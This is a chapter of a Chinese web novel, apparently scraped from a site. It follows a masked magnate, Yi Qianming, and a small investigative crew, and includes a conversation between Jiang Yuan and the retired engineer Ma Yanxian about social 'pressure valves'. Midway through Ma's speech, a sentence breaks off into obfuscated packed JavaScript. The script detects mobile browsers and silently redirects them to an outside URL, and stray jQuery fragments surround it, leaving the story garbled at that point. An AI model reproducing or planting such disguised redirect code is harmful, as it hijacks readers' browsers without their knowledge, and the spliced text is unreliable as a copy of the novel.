易谦明在吧台前咬着吸管，想要把杯子里最后一滴饮料吸上去的时候，一个长长的黑影渐渐从地毯上伸向他，最后停在距离他一步之遥的地方。


    “到休息的时间了。”黑影说。


    “是到你休息的时间了。我可不需要休息。”易谦明松开牙齿，吸管弹回杯子的边缘，晃了几晃。易谦明现在戴着一个铁笼一样的头套，脸上另外还有一张玄凤鹦鹉的面具。面具在鸟喙的下面开了一个洞，吸管就是从那里伸进去的。


    “是。”黑影低下了头。


    “你装什么委屈啊？如果没有你，我不会有今天的位置。我感谢都还来不及，简直都想每天给你下跪了，你装什么委屈？”


    “您内分泌的情况可能有点问题。我替您明天约医生检查一下吧。”


    “免了。我没什么问题。只是看你不爽而已。”易谦明把已经咬烂的吸管从杯子里拿出来，左手把杯子对着远处的墙壁一抛。


    玻璃杯撞上墙面，一声脆响，粉身碎骨。


    “别以为我不知道你心里是怎么想的。我告诉你，情况就是——我们其实是一个人。你永远无法摆脱我，我也无法摆脱你，我们都无法摆脱这个地方。”易谦明狠狠地说完，把吸管对着那团黑影用力一掷。


    但那支吸管也只飞出两步远，便轻飘飘落在黑影面前的地上。


    黑影默默无言地俯下身，慢慢把吸管捡了起来。


    “你去休息吧。我不拦着你。我还有自己的事情要办。”易谦明撑着吧台站直身子，然后向门外走去。


    “您要去哪？”黑影问。


    “去解决我的生理问题，这你也要管吗？”


    易谦明甩下这一句话，头也不回地离开了。


    ###


    “干杯！”


    关铁震举起装满白酒的茶杯，跟白少俊和郑小楼碰了一下。


    他还想跟姜原碰一碰，但姜原伸手挡住了自己的杯口。“我是不行了。”


    他们这一下午算是弄完了公司改注的事情。但名字没有改。“四大恶人就应该有五个。”关铁震是这么说的。其他人对名字本身并没有什么特别的需求。然后姜原跟关铁震又去弄来了易谦明的委托——这次易谦明没有亲自见他们，只是让阿福给他们带了一份文件。


    姜原有点不太满意。


    但关铁震已经非常开心了。他一个劲地要求在附近的烧烤店办一次庆祝会。能接到这里首屈一指贵人的调查委托，当然值得庆祝。


    所以他一直兴高采烈地跟所有见到的人碰杯，然后跟他们炫耀自己接到的委托，然后再碰杯、灌酒、再碰杯。


    “所以，我们也算是走上兴旺发达的第一步啦！也算是多亏了你，小兄弟。来来来，跟我再喝一轮！”关铁震绕了一圈后，又搂住了姜原的脖子。


    姜原只好又陪他喝了一杯，然后再吃了两串已经冷掉的烤肉，试图以此延缓对酒精的吸收。


    马延仙倒是从一开始就只喝茶水，吃毛豆。


    “你也别太闹腾了。再过一会还得回去呢。”郑小楼说。


    “回去？回哪去？这一个月都没什么高兴事了。”关铁震翻了个白眼。“一会我们去唱歌。”


    “唱什么歌！现在哪有晚上还开门的唱歌房？”


    “那我们去……去钓鱼！老白你去开、开船！”


    “你现在钓鱼得把鱼都吓跑了。叫得这么厉害。这家伙真是没什么酒品。”白少俊说。


    “你们年轻时候就这么闹，年纪大了可有得苦头吃咯。关节一下雨就疼。不过也奇怪。这种大雾天按说应该会疼的。我记得我爸妈到了这种雾天就不舒服。但我好像没什么反应。当然也不是所有的雾天都不疼，有时候还是会有点疼。搞不清楚。总觉得可能是吃的不合适了。反正就是还没搞懂规律。”马延仙一个人嘟嘟哝哝地说。


    “我算是初来乍到吧——虽然我两年前也来过一次，但我也总感觉这雾不太对。感觉不太像是雾，应该是霾。”


    “埋？埋什么？”关铁震问。


    “雾它不是空气中凝结的水汽嘛。霾是空气中飘着粉尘。”姜原解释道。“比如灰尘，或者沙尘。北方那边有的大风天会把土都扬起来，看上去漫天都是土黄的。而你们这边像是烧的烟灰，灰扑扑的。”


    “有可能。我们这边工厂很多。之前有人得那个肺病，一直咳嗽。可能就是吸这个灰吸多了。唉呀，那我以后得把口罩戴起来。”马延仙说。


    关铁震听姜原和马延仙在聊这些，皱起眉，屁股一扭，去跟白少俊、郑小楼说话了。


    姜原看关铁震挪开了，便凑上去问：“马老爷子，你以前是做什么的？”


    “我？我以前是化工出身，一开始当技术员，后来当工程师。但干那行吧，老有人请你喝酒，你要是老不去，人家就疏远你排挤你，升职也很困难。后来我年纪大了，也不太想在小孩子手下做事，索性就不干了。在家里自学一点医，打打零工什么的。有一天在街上遇到这个家伙。这家伙当时是个街溜子，偷吃别人卖的杏子，吃太快卡在嗓子眼，然后我用那个急救法，给他那么勒了几下让他吐出来。然后这家伙……”


    “你别老说以前的事儿！那都十几年前了，还提它干什么！”关铁震涨红了脸，而郑小楼也红着脸嗤嗤直乐。


    “所以你们也是一直都住在这里咯？”姜原问。


    “对。只除了我。”郑小楼说。


    “那我跟老爷子打听个事。因为我们最后的目的还是要搞到那批文档嘛，所以我想先看看你们这里的情况。你们这里有没有哪家企业是相对独立一点，然后机房的算力比较高的？”


    “当然是你们今天去的人贸银行啦。”


    “还有别的吗？”


    马延仙想了一会。“不知道。我感觉他们都差不多。没有哪家特别突出。当年大家都被整惨了，我年轻那时候。董事会用了三十年催缴民间残余和拼凑的高算力设备，鼓励举报揭发，最后大家的东西都被交出去焚毁了。就算现在谁家有什么东西，也肯定是藏起来的。你问我没用。”


    姜原点了点头。如果这样的话，他可能还是需要跟易谦明打交道。他实在不想动用学院的信息网。拖延了这么长时间，他现在已经摸不清教授们的态度了。或许他们还能信任他，或许现在那边已经变成了一个陷阱，就算他急急惶惶破解了内容，交过去，也无济于事。


    “话说，我们今天去银行的时候，那个易谦明到底是怎么回事？他居然一直戴着头套跟我们说话，感觉跟个变态似的。”姜原问道。


    如果真的有下一次，他可不想再被那么吓一跳了。居然连续两次吃瘪，他不由得在心里苦笑。


    关铁震听到姜原在说这个，也跟着凑了过来。“对。那家伙真的是脑袋有病。他算是让我越来越讨厌有钱人了。不，不是有钱人。是天才。他是个天才，也真的让人讨厌。我有点好奇，他到底手里拿捏着多少人的名字？”


    马延仙跟姜原对望了一眼。


    “我猜，百分之十？”姜原问。


    “不可能。价值评级制度实际上控制的人群没有那么多。”马延仙说。“我记得在报纸上看到过，评级上市三周年的时候。报上说，实际上参与的人几乎达到了整个复合体的四分之一，不过那肯定是吹牛的，实际掌握信息的人口绝对不到百分之十。而易谦明能直接控制的，是这百分之十里的百分之一，也就是总人口的千分之一，我觉得都有点太多了。”


    “千分之一？不可能。才千分之一能有那么大的权力？我看起码得控制个三四成吧。”关铁震摇着手。


    马延仙哼了一声。“臭小子，你真是对数字一点敏感度都没有。整个复合体号称是四亿人，实际上有没有并不好说，毕竟我们对那些边疆和落后地区都没有那么深入的控制。这数字就是估算出来的。凡是工程都是这样……算了，这个先不提，不然你们又嫌我说起来没完。反正，四亿人的百分之十你知道是多少吗？四千万。四千万的百分之一，四十万。你平时老挂在嘴边的那个安提赛有多少人？有一万吗？作战人员？”


    关铁震摇了摇头。“怎么可能。他们主要是安防和特种作战，连上临时工也充其量三千人。”


    “所以说嘛，能直接控制四十万人，是什么概念？而且控制力还能通过各种关系辐射出去。如果我是董事会的头子，看着这么一个能控制四十万人口，却又不在董事会里的人，我第一个反应就是把他做了。”马延仙在脖子上比划了一下。


    “喂喂，你现在的样子跟平时可差太多了啊。”白少俊笑道。


    关铁震和郑小楼闻言一同笑了起来，马延仙自己也乐了。


    “总之，应该没有那么多。而且有的人价值高，有的人价值低。要那么多价值低的人干什么？没什么用，不如撕掉。”马延仙拿起一张面巾纸，撕成两半，叠起来去包他吃剩的毛豆豆荚。


    关铁震道：“没想到，我喝得最多，结果却是老马醉的最快。”


    几个人又哄笑起来。


    姜原笑了一会，用酒杯轻轻敲了敲桌子。“所以易谦明到底是个什么人？他为什么戴着那个头套啊？”


    “不知道。但报纸上报道过他的情况。我在一张旧报纸里见过他的照片。他最开始那时候应该是不戴那破玩意的，但后来——”马延仙眯起眼睛，想了一会，“说老实话，我还真不记得了。”


    “可能是打造人设吧。让自己显得酷一点。就像关老大的点子。”白少俊抬手在自己脸上比划了一下。姜源知道他在说火车上戴的那些面具。


    关铁震伸手去把白少俊的手拍了下来。“才不是呢。那叫统一着装，统一步调，团结一致。这是我在……什么地方看的。跟他那种……造什么娇……”


    “矫揉造作。”郑小楼说。


    “对，不一样。我跟他不一样。”


    “你哪里不一样？每天咋咋呼呼，装腔作势的。”白少俊又说。


    “反正就是不一样！那家伙今天戴了一个老大的青蛙头你知道吗？他的脸就在那个青蛙嘴里面。然后他还躲在那个青蛙嘴里吃东西。”关铁震开始模仿易谦明把食物塞进青蛙头的动作。“如果不是气氛那么紧张，我真的早就笑出来了。”


    关铁震说到这里，突然停住了，表情也拉了下来。“我都感觉他肯定要拒绝我们的。不知道怎么回事，他居然答应了。”


    “这你已经说过了。你一回来就说了。”


    “对，我是说了。但我现在就想着——想着有点不对。”关铁震说到这里，打了个满是酒臭味的嗝。


    “得了吧。我看你就是醉了。而且这么晚了。如果你还不回去，说不定到明早就成尸体了。”白少俊取笑道。


    “才不会咧！我们刚拿到委托，肯定——肯定能步步高升。价值评级高的人才不会死咧。”


    姜原就看着他们胡闹。刚才马延仙倒是说了一条有点价值的信息。易谦明原先是不戴面具的。那是肯定的，没人一出生就戴面具。也可以肯定的就是，必然有一个特殊的契机，让他开始戴面具了。如果只是烧伤之类破相的话，像他那个位置的人，完全可以通过手术修复。


    所以一定有什么特殊的理由。


    “所以那些旧报道还找得到吗？”姜原问。


    “应该可以吧。我有一个剪报本，还收集了一些……”


    关铁震笑了。“哈，老马的爱好真的特——别古董。与众不同。”


    “总比你爱喝酒和胡闹好。郑小楼反驳。


    真是没完没了。


    但好在店里的人已经不剩几个了。老板也正在清场。


    “已经八点四十了啊。再不回家就晚了。”老板吆喝了一句，开始专门收拾他们附近的垃圾。


    “走了走了。”白少俊拉起还想灌两杯的关铁震，跟郑小楼点了点头。姜原跟马延仙也跟着站了起来。


    一行人晃晃悠悠来到他们“四大恶人”的工作室前，白少俊准备把关铁震扔到床上之后，再送郑小楼回家。而姜原趁机提出，跟马延仙一同散散步。


    “你的确跟我们不太一样。”只剩他们两个人之后，马延仙说道。“这个城市里虽然什么人都有，但你不一样。”


    “哦？哪里不一样？”


    “这城市，不是什么好地方。就像这没完没了的雾一样。但实际上，在这里常有这么大雾之前，一直就让人压抑得很。所以大家各自会找各自的发泄渠道。小关就是爱喝酒。小白则是那种攻击性，抬杠似的姿态。小郑……小郑还年轻，所以还好。但你，你跟我们不一样。我知道你肯定有自己的压力。但是，我感觉不到你是怎么把它发泄出来的。”


    姜原笑了笑。“或许我没有那么多的压力，也或许我比较迟钝，感觉没有你们那么敏锐。”


    “不会的。人不会迟钝到那种地步。”马延仙说。


    “那，你的泄压方式是什么？你刚才也没有说你的方式。”


    马延仙从口袋里摸出一支烟，用打火机点燃了，深深吸了一口。“我没有泄压的方式。我只是把它埋在心里。”


    “或许我也跟你一样呢。”姜原说。“不过我觉得，压力这种东西，只要你不管它，它也会慢慢消失。所以也不用多在意。相比之下——”


    “或许是这样的，但也不是。如果压力真的消失的很快，那只能说明你这里有什么地方漏气了。”马延仙用夹着纸烟的手指敲了敲自己的脑袋。“虽然这个比喻显得很老古董，但人心就是一台锅炉，而压力就是动力。如果没有压力，那人什么事都不会去做。某种程度上说，易谦明的价值评级是让这个地方重新动了起来，但这也代表他把这里变成了一个压力很高的地方，而这种压力就会从其它地方泄露。我就是这么看待最近的事情的。”


    “所以你觉得这一系列的杀人或自杀，都是这个‘系统’自己泄压的体现？难怪你觉得他们都是偶然。”姜原说。


    “某种程度上，这种偶然也是必然。一套设备如果压力过高，那最薄弱的环节就会先崩溃。这里崩开一个螺丝，那里裂开一个口子，让内部压力达到新的平衡。这算是一种恶性的自我调整。所以我们工厂里就会设计泄压阀，和安全阀。对于人来说，泄压阀就是喝酒、骂人或是什么别的方式；而所谓的安全阀，实际上只是一个人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258623|195405||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为设置的，这个系统中最薄弱的点，以此控制被压力破坏的位置。如果你不设计这些，那么恶性的自我调整就会把整个系统都弄完蛋。”


    “好吧。但在我看来，你这属于自爆。”姜原说。“因为你之前说，你只是把所有的压力都埋起来；但你刚才又说，如果没有泄压阀和安全阀，那个‘恶性的自我调整会把整个系统都弄完蛋’。这显然是自相矛盾的。所以你不是这里错了，就是那里错了。”


    “没有自相矛盾。”马延仙用力吸了一口烟。烟头的火光在黑暗中闪闪发着红光。“我后来爆炸了。”


    “啊？你怎么爆炸了？”


    “字面意义的爆炸。”马延仙说。


    “哦。就是你辞职的事情吧。”姜原说。“但那样也还算不上是爆炸吧，只是辞职而已。”


    “我跟你说了，是字面意义的爆炸。”马延仙又强调了一遍。但他也没有再说什么，姜原也不好再问。


    他们就默默走到了马延仙居住的破旧小区。


    “要不要上去喝杯茶？”马延仙问。


    姜原答应了。他还想看旧报纸。于是他们两个慢慢爬上狭窄的楼梯。马延仙住在这栋五层住宅楼的顶楼，是一间小小的二居室，其中一间卧室改成了书房。姜原在餐桌边坐下，看着马延仙烧水泡茶。


    “对了，你在店里的时候说，有登了易谦明照片的旧报纸，能不能借我看一下？”姜原问。


    “不然你为什么来呢？你以为我相信你真的想跟老头说话、喝茶吗？”


    马延仙这句话说得姜原很不好意思，只好打了个哈哈。马延仙在煤气灶上安好水壶，点着火，再去到书房里翻了一会，提出一个厚厚的大本子来，往餐桌上一甩，发出砰的一声。


    “嗬！这么多！”姜原感叹道。


    “那当然了。都十几年啦。”


    “十几年，所以你也不是一开始就喜欢这个调调咯。”


    “是。不是一开始就喜欢。”马延仙并未解释，只是戴上老花镜，翻开那个剪报本子，翻找了一段时间后，摘下了眼镜，把本子推到姜原面前。


    那是一张三版的采访稿，照片质量也不高，再加上时间久远的缘故，姜原实在看不清易谦明的五官。采访的内容是易谦明的投资居然从不失手云云，只是一篇中规中矩的东西。


    姜原有点失望地往椅背上一靠。“我还以为能找到什么好东西呢。”


    马延仙微微一笑：“世界不就是这样吗。不会总像你们今天那么顺利。不过，当时到底是什么情况？小关说话总是缠来缠去听不懂。”


    “其实我也不太明白。当时易谦明不太相信我的说辞，其实他更有可能是不相信我们这种人。他觉得我在说谎。我后来承认，我就是为了跟圣女见面，然后他就突然答应了。”


    “的确有点怪。小关还说，他问了你一个问题，是怎么回事？”


    姜原看着马延仙满是皱纹但精光不减的双眼，承认道：“他问我如何看待圣女草开花这件事。我当时就在卡比利亚的大圣堂跟踪。我回答——”


    嘟——


    煤气灶上的水壶尖叫起来。马延仙去关了火，把开水倒进茶壶烫了一遍，然后把第一道水倒掉，重新注水，才把茶壶提到桌上。


    “先这么泡一会。你继续讲。”


    “其实接下来也没什么了。我回答，我认为圣女能够跟活化机械连接。然后他就答应委托我们。”


    马延仙搓了搓下巴。“就是说，易谦明也很在意审判的结果咯。”


    “大概吧。怎么了？”


    “嗯，说起来也只是猜测。因为大家起初都觉得易谦明能够搞价值评级，是因为他有超过复合体规定的，P级以上算力的计算机，于是要求复合体审查。但复合体审查过以后，宣布并不存在算力超标的情况。如果这次审判的结果承认仿生人能够跟活化机械连接，再加上活化机械又是大崩溃之后的产物，所以可能会动摇这方面的规定——大家可能会觉得，在自动化上，找到了一条绕过大崩溃后遗症的方法。”


    “那就是说，他可能也对现在这种限制算力的情况不满咯。”


    “当然。人力的成本还是太高了，产能也有上限。我觉得，早晚我们还是要回到以前的路子上去，不如早点面对大崩溃的真正原因才是正路。”


    马延仙说完，给姜原和自己各倒了茶。


    姜原慢慢吸着茶水，感觉这个猜测有道理，但很可能并不对。即便是有这么一条路，那跟他有什么关系？他们又不能影响审判的结果。这仍旧不成为易谦明同意委托他的理由。


    应该是一个更直接、更单纯的原因。


    姜原感觉这个问题的答案在他心里隐约映出一点模糊的影子，但伸手去捞的时候，却又把那影子搅得稀碎，捕捉不到。他稍稍有点烦躁，便把碗里的茶水一饮而尽，站起来说：“这茶叶很不错，多谢款待了。”


    “哪里。反正我自己也要喝的。”


    “不早点休息吗？”


    “反正睡不着，还不如看看以前的剪报。说不定能找到点有用的信息呢。”


    “那你可太尽责了。”姜原道了晚安，一个人下楼。


    似乎是听到他的下楼的脚步声，四楼的一户人家门前，一个中年男人停下拧钥匙的手，抬起头盯着姜原。他也像所有街上的人一样，戴着宽檐帽，穿着风衣，领子竖起老高。


    “晚上好。”姜原跟他打了个招呼。


    那个中年人手中的钥匙哗啦一响，像是被吓了一跳。


    姜原不禁莞尔。


    外面的雾气似乎比回来的时候还要浓，而街上也早已不见人影。


    这段时间的事情，把所有人都弄得风声鹤唳了。其实这么大的城市，只是区区几个人横死街头，根本感觉不到什么；但日以继夜的新闻报导和分析，却把这种压力复制给了每一个人。


    但这么说也不对。谁也不想成为那几个横死的人。无论几率再怎么低，都是实打实的有人死亡。


    话说回来，不管怎么样，这种高压的情况是不可能持续的。可能这座城市真的需要像马延仙说的，泄压阀，安全阀之类的，不然迟早会发生“恶性的自我调整”，在某个地方炸掉。


    说不定易谦明愿意委托他们，也仅仅是想找个压力的出口吧。


    姜原突然停下了脚步。


    如果从马延仙提出的角度，即这一连串的凶案都是这个城市中压力造成的结果呢？


    不。他不应该想这个。凶案让那四个人去关心就好了。他自己只需要争取找到一个可以跟易谦明对等谈判合作的……


    等等。如果易谦明答应跟他合作是因为压力，而这个压力跟活化机械有关系，那么——


    姜原回过头去。他心中隐约有了一些想法。


    他想再问马延仙一个问题。


    而那栋五层旧楼的楼顶，有一个小小的红点，一亮一暗，一明一灭。


    是马延仙在吸烟吗？


    他怎么跑到楼顶上面去吸烟了？


    姜原眯起眼睛。


    但在暗夜的雾气中，很难分辨那到底是不是吸烟的火光。